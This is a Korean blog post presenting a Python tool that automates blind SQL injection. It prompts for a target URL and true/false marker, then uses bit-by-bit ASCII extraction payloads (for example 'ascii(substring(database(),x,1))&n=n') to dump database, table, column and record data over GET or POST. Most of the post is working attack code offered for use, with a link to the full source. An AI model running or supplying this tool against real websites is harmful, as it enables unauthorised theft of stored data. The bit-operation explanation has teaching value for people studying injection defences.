개요

Blind SQL Injection은 공격 시간이 상당히 길다. 직접 타이핑하며 공격하기에는 너무 오래 걸려 Python으로 자동화 도구를 만들었다.

이진 탐색과 비트 연산 중 어떤 것으로 구현하는 게 좋을까 고민했는데, 개인적으로는 비트 연산이 구현하기 더 쉽다고 판단해 비트 연산으로 구현했다.

GET Method 전용으로 시작했지만, POST Method 공격 코드도 추가하고 사용자가 Method와 URL을 직접 선택할 수 있도록 개선했다.

전체 구조

"""
This blind SQL Injection attack tools was created by simya.
This tool uses bit operations to perform the attack. 2023-07-03.
"""
import sys
from get_attack_payloads import blind_sql_injection_attack as get
from post_attack_payloads import blind_sql_injection_attack as post
 
method = input("Does the attack target use the POST or GET method? ")
 
if method.upper() == "GET":
    get()
elif method.upper() == "POST":
    post()
else:
    print("Quit.")
    sys.exit(0)

GET Method 공격 함수

import requests
import sys
 
def blind_sql_injection_attack():
    URL = input("Enter the target URL for the attack : ")
    query = input("Enter the vulnerabilities detection query (Ex: 'and'1'='1'%23) ")
    control_point = input("Enter a string of control points to detect true/false : ")
 
    print(f"vulnerabilities detection query : {URL}{query}")
    resp = requests.get(f"{URL}{query}")
 
    if control_point in resp.text:
        print("Blind SQL injection vulnerability exists. Start the attack.")
        database = database_name(URL, control_point)
        table_name(URL, database, control_point)
        table = column_name(URL, control_point)
        query_data(URL, table, control_point)
    else:
        print("No blind SQL injection vulnerabilities were found.")

데이터베이스 이름 추출 (비트 연산)

def database_name(URL, control_point):
    binary_number = [1, 2, 4, 8, 16, 32, 64]
    binary_result = 0
    database = ""
 
    for x in range(1, 20):
        for n in binary_number:
            resp = requests.get(f"{URL}'and+ascii(substring(database(),{x},1))%26{n}={n}%23")
            if control_point in resp.text:
                binary_result += n
        if binary_result == 0:
            break
        else:
            database += chr(binary_result)
            binary_result = 0
 
    print(f"database name : {database}")
    return database

핵심 공격 페이로드 함수 (삼중 for문 비트 연산)

def attack_payload(URL, query, control_point):
    binary_number = [1, 2, 4, 8, 16, 32, 64]
    binary_result = 0
    result = []
 
    for i in range(0, 10):           # 레코드 순번
        data = ""
        for j in range(1, 10):       # 문자 위치
            for k in binary_number:  # 비트 연산
                payload = f"{URL}'and+ascii(substring(({query}+limit+{i},1),{j},1))%26{k}={k}%23"
                resp = requests.get(payload)
                if control_point in resp.text:
                    binary_result += k   # 이진수 총합 누적
            if binary_result == 0:
                break                    # 다음 데이터로
            else:
                data += chr(binary_result)  # 10진수 → 문자 변환
                binary_result = 0
        if len(data) == 0:
            break
        else:
            result.append(data)
 
    return result

비트 연산 원리

ascii(substring(database(), 1, 1)) & 1 = 1 방식으로 각 문자의 ASCII 코드를 비트 단위로 확인한다.

예를 들어 'a'의 ASCII 코드는 97 (2진수: 1100001)이다.

비트결과
&11
&20
&40
&80
&160
&3232
&6464
합계97 → chr(97) = ‘a’

GitHub

소스코드 전체 보기

sqli python automation web-hacking